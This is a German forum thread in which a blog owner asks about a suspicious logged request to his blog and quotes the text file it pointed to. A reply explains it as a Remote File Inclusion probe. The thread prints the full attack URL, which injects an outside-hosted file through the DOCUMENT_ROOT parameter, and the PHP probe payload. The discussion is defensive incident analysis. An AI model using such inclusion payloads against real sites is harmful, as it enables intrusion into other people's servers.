Sicherheit: "fs_javascript" in den Logs gefunden

Hmm... dieser string kann offenbar durch mehrere wege auf einen server kommen. bei mir hat mein Counterize einen URL Aufruf zu meinem blog aufgelistet der wie folgt lautet:

http://mein_server.de/blog/?_SERVER[DOCUMENT_ROOT]=http://www.eminlife.com/rss/fx29id1.txt??

daraufhin hab ich mir diese merkwürdige TXT mal angesehen. wieder erwarten war diese noch auf dem Server des von Eminlife.com gespeichert. hier mal der inhalt der datei

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

Ich frage mich jetzt allerdings auch was es damit aufsich hat. würde mich auch mal interessieren ob das vielleicht ein Hack versuch darstellen soll, und wenn ja, wie ich darauf reagiere oder feststellen kann, ob der versuch geglückt ist.

währe genial wenn jemand ne lösung hätte.
gruß
DJBeatstar

Sieht nach ner Remote File Inclusion aus.

Wenn er sein Script includen kann könnte er alles mögliche bei dir Einschleusen oder hat vllt schon deinen Blog, DB vergiftet.

Die Datei ist womöglich eine testing Datei, wenn eine "Maschine" von ihm - Server+Cronj - automatisch im Netz nach Blogs sucht, probiert er automatisch mit diesem File eine RFI (Remote File Inc...), wenn erfolgreich, Blog markieren als "hackbar".
Dann würde er vllt handisch oder mit einer zweiten "Maschine" Tabellen mit Passwörtern oder sonstiges auslesen...und zu guter letzt, wenn er was drauf hat, den SQL Log und Server Log löschen oder manipulieren.

So könnte es sein, aber wenn das wirklich funktioniert, kann man ja mit ner eignen Datei versuchen, dann ist das ein Bug in WP.

Grüße